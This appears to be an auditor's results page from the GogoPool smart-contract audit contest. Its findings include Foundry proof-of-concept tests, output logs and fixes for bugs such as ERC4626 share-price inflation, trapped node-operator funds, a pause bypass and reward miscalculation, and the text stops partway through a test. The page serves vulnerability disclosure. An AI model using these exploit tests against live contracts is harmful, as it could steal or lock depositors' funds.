GoGoPool contest - 0xbepresent's results

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/upgradeable/ERC4626Upgradeable.sol#L42 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/upgradeable/ERC4626Upgradeable.sol#L120

Vulnerability details

Impact

After the ERC4626x contract creation, during the first cycle, any user can deposit and transfer token to the vault to inflate the totalAssets() before the rewards call, this can inflate the base share price and all the subsequence deposit will be using an inflated share price as base.

Proof of Concept

I did the next test:

1. Init total suppply
2. Transfer X amount in order to inflate totalAsset and calculates share prices
3. Deposit less than share price will be reverted due to return 0 share

function testInflationShares() public {
    // Initial deposit can break share calculations
    // 1. Init total suppply 
    // 2. Transfer in order to inflate totalAsset and calculates share prices
    // 3. Deposit less than share price will be reverted due to return 0 share
    token.mint(address(this), 1e24);
    token.approve(address(xToken), type(uint256).max);
    //
    // 1. Init total supply
    //
    xToken.deposit(1, address(this)); // TotalSupply == 1; shares == 1;
    //
    // 2. Transfer in order to inflate totalAsset and calculates share prices
    //
    console.log("Share price     ", xToken.convertToAssets(1)); // TotalSupply == 1; Shares == 1;
    console.log("Total supply    ", xToken.totalAssets());
    console.log("Transfer 50e18 to inflate totalAsset()");
    token.transfer(address(xToken), 50 ether);  // inflate totalAsset()
    xToken.syncRewards();
    vm.warp(20); // skip 1 days to update new TotalAsset() value
        // totalSupply() still 1. So current share price is ~ 1e18 token instead of 1:1 for token.
    console.log("Share price     ", xToken.convertToAssets(1));
    console.log("Total supply    ", xToken.totalAssets());
    console.log("Deposit 1e18    ", xToken.deposit(1 ether, address(this)));
    console.log("Share price     ", xToken.convertToAssets(1));
    console.log("Total supply    ", xToken.totalAssets());
    console.log("Deposit 100e18  ", xToken.deposit(100 ether, address(this)));
    console.log("Share price     ", xToken.convertToAssets(1));
    console.log("Total supply    ", xToken.totalAssets());
    //
    // 3. Deposit less than share price will be reverted due to return 0 share
    //
    console.log("Deposit token less than share price amount (1e14) will be reverted due to return 0 share");
    vm.expectRevert(abi.encodePacked("ZERO_SHARES"));
    xToken.deposit(1e14, address(this));
}

Output:

Running 1 test for test/unit/ERC4626X.t.sol:xERC4626Test
[PASS] testInflationShares() (gas: 297151)
Logs:
  Share price      1
  Total supply     1
  Transfer 50e18 to inflate totalAsset()
  Share price      785384247176131
  Total supply     785384247176131
  Deposit 1e18     1273
  Share price      785545827509557
  Total supply     1000785384247176131
  Deposit 100e18   127300
  Share price      785545953180636
  Total supply     101000785384247176131
  Deposit token less than share price amount (1e14) will be reverted due to return 0 share

Tools used

Foundry/VsCode

Recommended Mitigation Steps

Although there are offchain mitigations where the contract could be initialized safely it is possible to implement on chain mitigations like uniswap that burn the first LP Tokens.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L484 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L528 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L287

Vulnerability details

Impact

The Multisig can call MinipoolManager.sol::recordStakingError() if there is an error while registering the node as a validator. Also the Multisig can call MinipoolManager.sol::finishFailedMinipoolByMultisig() in order to "finish" the NodeOp's minipool proccess.

If the Multisig accidentally/intentionally calls recordStakingError() then finishFailedMinipoolByMultisig() the NodeOp funds may be trapped in the protocol.

The finishFailedMinipoolByMultisig() has the next comment: Multisig can move a minipool from the error state to the finished state after a human review of the error but the NodeOp should be able to withdraw his funds after a finished minipool.

Proof of Concept

I created a test for this situation in MinipoolManager.t.sol. At the end you can observe that the withdrawMinipoolFunds() reverts with InvalidStateTransition error:

1. NodeOp creates the minipool
2. Rialto calls claimAndInitiateStaking
3. Something goes wrong and Rialto calls recordStakingError()
4. Rialto accidentally/intentionally calls finishFailedMinipoolByMultisig() in order to finish the NodeOp's minipool
5. The NodeOp can not withdraw his funds. The withdraw function reverts with InvalidStateTransition() error

function testUserFundsStuckErrorFinished() public {
    // NodeOp funds may be trapped by a invalid state transition
    // 1. NodeOp creates the minipool
    // 2. Rialto calls claimAndInitiateStaking
    // 3. Something goes wrong and Rialto calls recordStakingError()
    // 4. Rialto accidentally/intentionally calls finishFailedMinipoolByMultisig() in order 
    // to finish the NodeOp's minipool
    // 5. The NodeOp can not withdraw his funds. The withdraw function reverts with
    // InvalidStateTransition() error
    //
    // 1. Create the minipool by the NodeOp
    //
    address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
    vm.prank(liqStaker1);
    ggAVAX.depositAVAX{value: MAX_AMT}();
    assertEq(liqStaker1.balance, 0);
    uint256 duration = 2 weeks;
    uint256 depositAmt = 1000 ether;
    uint256 avaxAssignmentRequest = 1000 ether;
    uint256 validationAmt = depositAmt + avaxAssignmentRequest;
    uint128 ggpStakeAmt = 200 ether;
    vm.startPrank(nodeOp);
    ggp.approve(address(staking), ggpStakeAmt);
    staking.stakeGGP(ggpStakeAmt);
    MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);
    vm.stopPrank();
    assertEq(vault.balanceOf("MinipoolManager"), depositAmt);
    //
    // 2. Rialto calls claimAndInitiateStaking
    //
    vm.startPrank(address(rialto));
    minipoolMgr.claimAndInitiateStaking(mp.nodeID);
    assertEq(vault.balanceOf("MinipoolManager"), 0);
    //
    // 3. Something goes wrong and Rialto calls recordStakingError()
    //
    bytes32 errorCode = "INVALID_NODEID";
    minipoolMgr.recordStakingError{value: validationAmt}(mp.nodeID, errorCode);
    // NodeOps funds should be back in vault
    assertEq(vault.balanceOf("MinipoolManager"), depositAmt);
    // 4. Rialto accidentally/intentionally calls finishFailedMinipoolByMultisig() in order 
    // to finish the NodeOp's minipool
    minipoolMgr.finishFailedMinipoolByMultisig(mp.nodeID);
    vm.stopPrank();
    // 5. The NodeOp can not withdraw his funds. The withdraw function reverts with
    // InvalidStateTransition() error
    vm.startPrank(nodeOp);
    vm.expectRevert(MinipoolManager.InvalidStateTransition.selector);
    minipoolMgr.withdrawMinipoolFunds(mp.nodeID);
    vm.stopPrank();
}

Tools used

Foundry/Vscode

Recommended Mitigation Steps

The withdrawMinipoolFunds could add another requireValidStateTransition in order to allow the withdraw after the finished minipoool.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L444 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L127 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MultisigManager.sol#L68 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MultisigManager.sol#L80

Vulnerability details

Impact

The MinipoolManager.sol::createMinipool() function assign a "enabled multisig" with the multisigManager.requireNextActiveMultisig() function, so the minipool has a enabled multisig assigned.

It is possible that in the meantime where the minipool/node/validator is running, the multisig could be disabled by the MultisigManager.sol::disableMultisig() function.

For some reason (maybe a compromised multisig) the multisig could be disabled and the multisig should not recreate the minipool and get access to the funds via claimAndInitiateStaking() function.

The funds can be compromised by a disabled multisig.

Proof of Concept

The recreateMinipool() only get the multisig assigned to the nodeID but onlyValidMultisig() does not validate if the multisig is still enabled. The next scenario is possible:

1. The minipool is assigned with a valid multisig.
2. While the node is running the multisig is disabled.
3. Now the compromised multisig recreate the minipool.
4. The compromised multisig calls claimAndInitiateStaking() and get the funds.

File: MinipoolManager.sol
444: 	function recreateMinipool(address nodeID) external whenNotPaused {
445: 		int256 minipoolIndex = onlyValidMultisig(nodeID);
446: 		requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch);
447: 		Minipool memory mp = getMinipool(minipoolIndex);

File: MinipoolManager.sol
127: 	function onlyValidMultisig(address nodeID) private view returns (int256) {
128: 		int256 minipoolIndex = requireValidMinipool(nodeID);
129: 
130: 		address assignedMultisig = getAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".multisigAddr")));
131: 		if (msg.sender != assignedMultisig) {
132: 			revert InvalidMultisigAddress();
133: 		}
134: 		return minipoolIndex;
135: 	}

Tools used

Manual review

Recommended Mitigation Steps

The recreateMinipool() should validate if the assigned multisig is still enabled and assign another enabled multisig if it is necessary with the multisigManager.requireNextActiveMultisig() function.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/Staking.sol#L328

Vulnerability details

Impact

The stakeGGP() function helps to stake the GGP only if the protocol is not paused (whenNotPaused modifier). The restakeGGP() function does not validate if the protocol is paused causing that users stake their unclaimed GGP rewards even if the protocol is paused.

The stakeGGP() function is only possible if the protocol is not paused but the restakeGGP() function bypass that restriction. The protocol is still staking even when it is paused.

Proof of Concept

1. As a NodeOp get rewards for the ggp staked.
2. The protocol is paused.
3. The NodeOp can call claimAndRestake() function in order to re-stake their unclaimed rewards even when the protocol is paused.

Tools used

Manual review

Recommended Mitigation Steps

It would be possible to create a function where the user can claim all the ggp staked plus rewards even if the protocol is paused and the claimAndRestake() can be used if the protocol is not paused.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L452 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L458

Vulnerability details

Impact

The recreateMinipool() helps to re-stake the minipool with all the compounding rewards. The problem is that the avaxLiquidStakerAmt is not using the correct value, the correct value is avaxLiquidStakerAmt + avaxLiquidStakerRewardAmt for the avaxLiquidStakerAmt variable.

When the multisig calls recreateMinipool(), the AvaxAssigned/avaxLiquidStakerAmt are wrong causing the protocol to re-stake wrong values for the AvaxAssigned variable then the validator/node receives more Avax.

Proof of Concept

I did a test where you can see that the AvaxLiquidStakerAmt is not compounding the correct rewards:

1. Create Minipool, claimInitiateStakin and recordStakingStart
2. Multisig call the recordStakingEnd with 1e18 of rewards. The liquid staker get 425000000000000000 as a rewards

    AvaxLiquidStakerAmt: 1000000000000000000000
    avaxLiquidStakerRewardAmt: 425000000000000000

3. Restake the minipool and see how the AvaxAssigned does not reflect the rewards gained before.

    AvaxLiquidStakerAmt: 1000575000000000000000
    avaxLiquidStakerRewardAmt: 0

As you can see, the AvaxLiquidStakerAmt at the end should be the sum of (1000000000000000000000 + 425000000000000000) not 1000575000000000000000.

function testRecreateMinipoolWrongLiquidStakerAmt() public {
    // Rewards liquidStaker wrong calculation
    // 1. Create Minipool, claimInitiateStakin and recordStakingStart
    // 2. Multisig call the recordStakingEnd with 1e18 of rewards
    // 3. Restake the minipool and see how the AvaxAssigned does not reflect the rewards gained before
    uint256 duration = 4 weeks;
    uint256 depositAmt = 1000 ether;
    uint256 avaxAssignmentRequest = 1000 ether;
    uint256 validationAmt = depositAmt + avaxAssignmentRequest;
    uint128 ggpStakeAmt = 100 ether;
    //
    // 1. Create Minipool, claimInitiateStakin and recordStakingStart
    //
    vm.startPrank(nodeOp);
    ggp.approve(address(staking), MAX_AMT);
    staking.stakeGGP(ggpStakeAmt);
    MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);
    vm.stopPrank();
    address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
    vm.prank(liqStaker1);
    ggAVAX.depositAVAX{value: MAX_AMT}();
    vm.prank(address(rialto));
    minipoolMgr.claimAndInitiateStaking(mp.nodeID);
    bytes32 txID = keccak256("txid");
    vm.prank(address(rialto));
    minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);
    skip(4 weeks / 2);
    // Give rialto the rewards it needs
    uint256 rewards = 1 ether;
    deal(address(rialto), address(rialto).balance + rewards);
    console.log("Before recordStakingEnd avaxNodeOpAmt:", mp.avaxNodeOpAmt);
    console.log("Before recordStakingEnd AvaxLiquidStakerAmt:", mp.avaxLiquidStakerAmt);//1000 ether
    console.log("Before recordStakingEnd avaxNodeOpRewardAmt:", mp.avaxNodeOpRewardAmt);
    console.log("Before recordStakingEnd avaxLiquidStakerRewardAmt:", mp.avaxLiquidStakerRewardAmt);
    console.log("Before recordStakingEnd getAVAXAssigned", staking.getAVAXAssigned(mp.owner));
    // Pay out the rewards
    console.log("");
    console.log("Rewards 1e18:", rewards);
    vm.prank(address(rialto));
    minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, rewards);
    MinipoolManager.Minipool memory mp2 = minipoolMgr.getMinipoolByNodeID(mp.nodeID);
    console.log("Before recreateMinipool avaxNodeOpAmt:", mp2.avaxNodeOpAmt);
    console.log("Before recreateMinipool AvaxLiquidStakerAmt:", mp2.avaxLiquidStakerAmt);//1000 ether
    console.log("Before recreateMinipool avaxNodeOpRewardAmt:", mp2.avaxNodeOpRewardAmt);
    console.log("Before recreateMinipool avaxLiquidStakerRewardAmt:", mp2.avaxLiquidStakerRewardAmt);
    console.log("Before recreateMinipool getAVAXAssigned", staking.getAVAXAssigned(mp2.owner));
    console.log("");
    //
    // 3. Restake the minipool and see how the AvaxAssigned does not reflect the rewards gained before
    //
    // Add a bit more collateral to cover the compounding rewards
    vm.prank(nodeOp);
    staking.stakeGGP(1 ether);
    vm.prank(address(rialto));
    minipoolMgr.recreateMinipool(mp.nodeID);
    MinipoolManager.Minipool memory mpCompounded = minipoolMgr.getMinipoolByNodeID(mp.nodeID);
    console.log("After recreteMinipool avaxNodeOpAmt:", mpCompounded.avaxNodeOpAmt);
    console.log("After recreteMinipool AvaxLiquidStakerAmt:", mpCompounded.avaxLiquidStakerAmt);//1000 ether
    console.log("After recreateMinipool avaxNodeOpRewardAmt:", mpCompounded.avaxNodeOpRewardAmt);
    console.log("After recreateMinipool avaxLiquidStakerRewardAmt:", mpCompounded.avaxLiquidStakerRewardAmt);
    console.log("After recreateMinipool getAVAXAssigned", staking.getAVAXAssigned(mp.owner));
}

Output:

Running 1 test for test/unit/MinipoolManager.t.sol:MinipoolManagerTest
[PASS] testRecreateMinipoolWrongLiquidStakerAmt() (gas: 1468903)
Logs:
  Before recordStakingEnd avaxNodeOpAmt: 1000000000000000000000
  Before recordStakingEnd AvaxLiquidStakerAmt: 1000000000000000000000
  Before recordStakingEnd avaxNodeOpRewardAmt: 0
  Before recordStakingEnd avaxLiquidStakerRewardAmt: 0
  Before recordStakingEnd getAVAXAssigned 1000000000000000000000
  
  Rewards 1e18: 1000000000000000000
  Before recreateMinipool avaxNodeOpAmt: 1000000000000000000000
  Before recreateMinipool AvaxLiquidStakerAmt: 1000000000000000000000
  Before recreateMinipool avaxNodeOpRewardAmt: 575000000000000000
  Before recreateMinipool avaxLiquidStakerRewardAmt: 425000000000000000
  Before recreateMinipool getAVAXAssigned 0
  
  After recreteMinipool avaxNodeOpAmt: 1000575000000000000000
  After recreteMinipool AvaxLiquidStakerAmt: 1000575000000000000000
  After recreateMinipool avaxNodeOpRewardAmt: 0
  After recreateMinipool avaxLiquidStakerRewardAmt: 0
  After recreateMinipool getAVAXAssigned 1000575000000000000000

Tools used

VsCode/Foundry

Recommended Mitigation Steps

The recreateMinipool should calculate the avaxLiquidStakerAmt using the avaxLiquidStakerRewardAmt amount:

diff --git a/contracts/contract/MinipoolManager.sol b/contracts/contract/MinipoolManager.sol
index 8563580..7b6afbd 100644
--- a/contracts/contract/MinipoolManager.sol
+++ b/contracts/contract/MinipoolManager.sol
@@ -448,14 +448,15 @@ contract MinipoolManager is Base, ReentrancyGuard, IWithdrawer {
                // Compound the avax plus rewards
                // NOTE Assumes a 1:1 nodeOp:liqStaker funds ratio
                uint256 compoundedAvaxNodeOpAmt = mp.avaxNodeOpAmt + mp.avaxNodeOpRewardAmt;
+               uint256 compoundedavaxLiquidStakerAmt = mp.avaxLiquidStakerAmt + mp.avaxLiquidStakerRewardAmt;
                setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxNodeOpAmt")), compoundedAvaxNodeOpAmt);
-               setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxLiquidStakerAmt")), compoundedAvaxNodeOpAmt);
+               setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxLiquidStakerAmt")), compoundedavaxLiquidStakerAmt);
 
                Staking staking = Staking(getContractAddress("Staking"));
                // Only increase AVAX stake by rewards amount we are compounding
                // since AVAX stake is only decreased by withdrawMinipool()
                staking.increaseAVAXStake(mp.owner, mp.avaxNodeOpRewardAmt);
-               staking.increaseAVAXAssigned(mp.owner, compoundedAvaxNodeOpAmt);
+               staking.increaseAVAXAssigned(mp.owner, compoundedavaxLiquidStakerAmt);
                staking.increaseMinipoolCount(mp.owner);
 
                if (staking.getRewardsStartTime(mp.owner) == 0) {

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MultisigManager.sol#L35 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MultisigManager.sol#L55 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MultisigManager.sol#L68

Vulnerability details

Impact

The MultisigManager.sol allows to register the multisigs that are valid for the Minipools administration. There is a limit for the registration.

If for some reason all the Multisig are disabled/compromised, it would not possible to add more multisig because the limit. The protocol can not create/enable more multisigs and is not possible to create minipools because there are not any enabled multisig.

All multisigs could be compromised and arises the necessity to register more multisigs in order to assign them for the minipool administration. It is an edge case but it is possible.

Proof of Concept

I did the next test:

1. Register and enable multisigs in order to reach the limit
2. Disable all the multisigs
3. Register another multisig and the transaction will be reverted because the registration reach the limit
4. It is not possible to create more multisigs and the protocol runs out of valid multisigs

function testMultisigLimitAfterDisableAllOfThem() public {
    // Unable to assign more multisig when all of them are disabled
    // 1. Register and enable multisigs and reach the limit
    // 2. Disable all the multisigs
    // 3. Register another multisig and the transaction will be reverted because
    // 	  the registration reach the limit
    uint256 count = multisigMgr.getCount();
    uint256 limit = multisigMgr.MULTISIG_LIMIT();
    //
    // 1. Register multisigs and reach the limit
    //
    vm.startPrank(guardian);
    for (uint256 i = 0; i < limit - count; i++) {
        address randomMultisig = randAddress();
        multisigMgr.registerMultisig(randomMultisig);
        multisigMgr.enableMultisig(randomMultisig);
    }
    assertEq(multisigMgr.getCount(), limit);
    vm.expectRevert(MultisigManager.MultisigLimitReached.selector);
    multisigMgr.registerMultisig(randAddress());
    //
    // 2. Disable all the multisigs
    //
    for (uint256 i = 0; i < limit - count; i++) {
        (address multisigAddress,) = multisigMgr.getMultisig(i);
        multisigMgr.disableMultisig(multisigAddress);
    }
    //
    // 3. Register another multisig and the transaction will be reverted because
    // the registration reach the limit
    //
    address randomMultisig = randAddress();
    vm.expectRevert(MultisigManager.MultisigLimitReached.selector);
    multisigMgr.registerMultisig(randomMultisig);
    vm.stopPrank();
}

Tools used

Foundry/VsCode

Recommended Mitigation Steps

Count only the validated/enabled multisigs in order to control the limit.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L385 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/Vault.sol#L173 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L670

Vulnerability details

Impact

The MinipoolManager.sol::createMinipool() receives the duration param which helps to know how much time the validator will be enabled.

If the minipool is created with a zero value duration and the multisig wants to call recordStakingEnd() function with zero value for the avaxTotalRewardAmt param, the recorStakingEnd() will revert the transaction because the duration is not correct and the Vault.sol::transferToken() receives a zero value amount causing it to reverse. The MinipoolManager.sol::slash() function uses the duration value and that causes the revert.

The multisig can't return the liquid staker/user funds because the recordStakingEnd() will be reverting the transaction.

Proof of Concept

I did a test:

1. Create a minipool with duration zero
2. Multisig claimInit the staking and record the staking start
3. Multisig call the recordStakingEnd with zero rewards and the transaction will revert by "InvalidAmount" error.

function testRecordStakingEndWithSlashAndDurationZero() public {
    // recordStaking reverts when duration is zero and rewards amount is zero
    // 1. Create a minipool with duration zero
    // 2. Multisig claimInit the staking and record the staking start
    // 3. Multisig call the recordStakingEnd with zero rewards and the transaction will revert
    uint256 duration = 0;
    uint256 depositAmt = 1000 ether;
    uint256 avaxAssignmentRequest = 1000 ether;
    uint256 validationAmt = depositAmt + avaxAssignmentRequest;
    uint128 ggpStakeAmt = 200 ether;
    //
    // 1. Create a minipool with duration zero
    //
    vm.startPrank(nodeOp);
    ggp.approve(address(staking), MAX_AMT);
    staking.stakeGGP(ggpStakeAmt);//Node deposit ggpStakeAmt
    MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);//create minipool with 0 duration
    vm.stopPrank();
    address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
    vm.prank(liqStaker1);//liquid staker deposit avax
    ggAVAX.depositAVAX{value: MAX_AMT}();
    //
    // 2. Multisig claimInit the staking and record the staking start
    //
    vm.prank(address(rialto));
    minipoolMgr.claimAndInitiateStaking(mp1.nodeID);
    bytes32 txID = keccak256("txid");
    vm.prank(address(rialto));
    minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp);
    console.log("Before recordStakingEnd AvaxLiquidStakerAmt:", mp1.avaxLiquidStakerAmt / 1 ether);
    console.log("Before recordStakingEnd getAVAXAssigned", staking.getAVAXAssigned(mp1.owner) / 1 ether);
    skip(2 weeks);
    //
    // 3. Multisig call the recordStakingEnd with zero rewards and the transaction will revert
    //
    vm.prank(address(rialto));
    vm.expectRevert(MinipoolManager.InvalidAmount.selector);
    minipoolMgr.recordStakingEnd{value: validationAmt}(mp1.nodeID, block.timestamp, 0 ether);
}

Tools used

VsCode/Foundry

Recommended Mitigation Steps

Validates a non-zero value duration in the createMinipool() function.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L484 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/ClaimNodeOp.sol#L46

Vulnerability details

Impact

The MinipoolManager.sol::recordStakingError() function is called when there is an error while registering the node as a validator. The problem is that the recordStakingError() does not decrement the nodeop's minipool count as it is done in the recordStakingEnd() function

If the minipool count does not decrease, the ClaimNodeOp.sol::isEligible() function could be unstable because the staking.getRewardsStartTime() is not set to zero here because the nodeop's minipool is still more than zero.

The function ClaimNodeOp.sol::isEligible() can return a staker for eligible for rewards even if it is not the case.

Proof of Concept

I created a test in ClaimNodeOp.t.sol:

1. NodeOp1 creates minipool
2. Rialto calls claimAndInitiateStaking, recordStakingStart and recordStakingError
3. NodeOp1 withdraw his funds from minipool
4. NodeOp1 still has "active minipool" even when he withdraw his funds

function testRecordStakingErrorAndWithdrawStillHaveActiveMinipool() public {
    // NodeOp with error in registering the node as a validator can withdraw his funds and
    // still have an active minipool
    // 1. NodeOp1 creates minipool
    // 2. Rialto/multisig claimAndInitiateStaking, recordStakingStart and recordStakingError
    // 3. NodeOp1 withdraw his funds from minipool
    // 4. NodeOp1 still has "active minipool"
    address nodeOp1 = getActorWithTokens("nodeOp1", MAX_AMT, MAX_AMT);
    uint256 duration = 2 weeks;
    uint256 depositAmt = 1000 ether;
    uint256 avaxAssignmentRequest = 1000 ether;
    skip(dao.getRewardsCycleSeconds());
    rewardsPool.startRewardsCycle();
    //
    // 1. NodeOp1 creates minipool
    //
    vm.startPrank(nodeOp1);
    ggp.approve(address(staking), MAX_AMT);
    staking.stakeGGP(200 ether);
    MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
    vm.stopPrank();
    address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
    vm.prank(liqStaker1);
    ggAVAX.depositAVAX{value: MAX_AMT}();
    //
    // 2. Rialto/multisig claimAndInitiateStaking, recordStakingStart and recordStakingError
    //
    vm.prank(address(rialto));
    minipoolMgr.claimAndInitiateStaking(mp1.nodeID);
    bytes32 txID = keccak256("txid");
    vm.prank(address(rialto));
    minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp);
    bytes32 errorCode = "INVALID_NODEID";
    int256 minipoolIndex = minipoolMgr.getIndexOf(mp1.nodeID);
    skip(2 weeks);
    vm.prank(address(rialto));
    minipoolMgr.recordStakingError{value: depositAmt + avaxAssignmentRequest}(mp1.nodeID, errorCode);
    assertEq(vault.balanceOf("MinipoolManager"), depositAmt);
    MinipoolManager.Minipool memory mp1Updated = minipoolMgr.getMinipool(minipoolIndex);
    assertEq(mp1Updated.avaxTotalRewardAmt, 0);
    assertEq(mp1Updated.errorCode, errorCode);
    assertEq(mp1Updated.avaxNodeOpRewardAmt, 0);
    assertEq(mp1Updated.avaxLiquidStakerRewardAmt, 0);
    assertEq(minipoolMgr.getTotalAVAXLiquidStakerAmt(), 0);
    assertEq(staking.getAVAXAssigned(mp1Updated.owner), 0);
    // The highwater doesnt get reset in this case
    assertEq(staking.getAVAXAssignedHighWater(mp1Updated.owner), depositAmt);
    //
    // 3. NodeOp1 withdraw his funds from the minipool
    //
    vm.startPrank(nodeOp1);
    uint256 priorBalance_nodeOp = nodeOp1.balance;
    minipoolMgr.withdrawMinipoolFunds(mp1.nodeID);
    assertEq((nodeOp1.balance - priorBalance_nodeOp), depositAmt);
    vm.stopPrank();
    //
    // 4. NodeOp1 still has "active minipool"
    //
    assertEq(staking.getMinipoolCount(nodeOp1), 1);
}

Tools used

Vscode/Foundry

Recommended Mitigation Steps

Add staking.decreaseMinipoolCount(owner); in the MinipoolManager.sol::recordStakingError() function.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L484 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/ClaimNodeOp.sol#L56 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/ClaimNodeOp.sol#L89

Vulnerability details

Impact

The documentation says that the NodeOps could be elegible for GGP rewards if they have a valid minipool. The problem is that if the MiniPool has an error while registering the node as a validator, the NodeOp can get rewards even if the minipool had an error.

When the Rialto calls recordStakingError() function the AssignedHighWater is not reseted. So the malicious NodeOp (staker) can create pools which will have an error in the registration and get rewards from the protocol.

Proof of Concept

I created a test in ClaimNodeOp.t.sol:

1. NodeOp1 creates minipool
2. Rialto calls claimAndInitiateStaking, recordStakingStart and recordStakingError()
3. NodeOp1 withdraw his funds from minipool
4. NodeOp1 can get rewards even if there was an error with the node registration as validator.

function testRecordStakingErrorCanGetRewards() public {
    // NodeOp can get rewards even if there was an error in registering the node as a validator
    // 1. NodeOp1 creates minipool
    // 2. Rialot/multisig claimAndInitiateStaking, recordStakingStart and recordStakingError
    // 3. NodeOp1 withdraw his funds from minipool
    // 4. NodeOp1 can get rewards even if there was an error with the node registration as validator.
    address nodeOp1 = getActorWithTokens("nodeOp1", MAX_AMT, MAX_AMT);
    uint256 duration = 2 weeks;
    uint256 depositAmt = 1000 ether;
    uint256 avaxAssignmentRequest = 1000 ether;
    skip(dao.getRewardsCycleSeconds());
    rewardsPool.startRewardsCycle();
    //
    // 1. NodeOp1 creates minipool
    //
    vm.startPrank(nodeOp1);
    ggp.approve(address(staking), MAX_AMT);
    staking.stakeGGP(200 ether);
    MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
    vm.stopPrank();
    address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
    vm.prank(liqStaker1);
    ggAVAX.depositAVAX{value: MAX_AMT}();
    //
    // 2. Rialto/multisig claimAndInitiateStaking, recordStakingStart and recordStakingError
    //
    vm.prank(address(rialto));
    minipoolMgr.claimAndInitiateStaking(mp1.nodeID);
    bytes32 txID = keccak256("txid");
    vm.prank(address(rialto));
    minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp);
    bytes32 errorCode = "INVALID_NODEID";
    int256 minipoolIndex = minipoolMgr.getIndexOf(mp1.nodeID);
    skip(2 weeks);
    vm.prank(address(rialto));
    minipoolMgr.recordStakingError{value: depositAmt + avaxAssignmentRequest}(mp1.nodeID, errorCode);
    assertEq(vault.balanceOf("MinipoolManager"), depositAmt);
    MinipoolManager.Minipool memory mp1Updated = minipoolMgr.getMinipool(minipoolIndex);
    assertEq(mp1Updated.avaxTotalRewardAmt, 0);
    assertEq(mp1Updated.errorCode, errorCode);
    assertEq(mp1Updated.avaxNodeOpRewardAmt, 0);
    assertEq(mp1Updated.avaxLiquidStakerRewardAmt, 0);
    assertEq(minipoolMgr.getTotalAVAXLiquidStakerAmt(), 0);
    assertEq(staking.getAVAXAssigned(mp1Updated.owner), 0);
    // The highwater doesnt get reset in this case
    assertEq(staking.getAVAXAssignedHighWater(mp1Updated.owner), depositAmt);
    //
    // 3. NodeOp1 withdraw his funds from the minipool
    //
    vm.startPrank(nodeOp1);
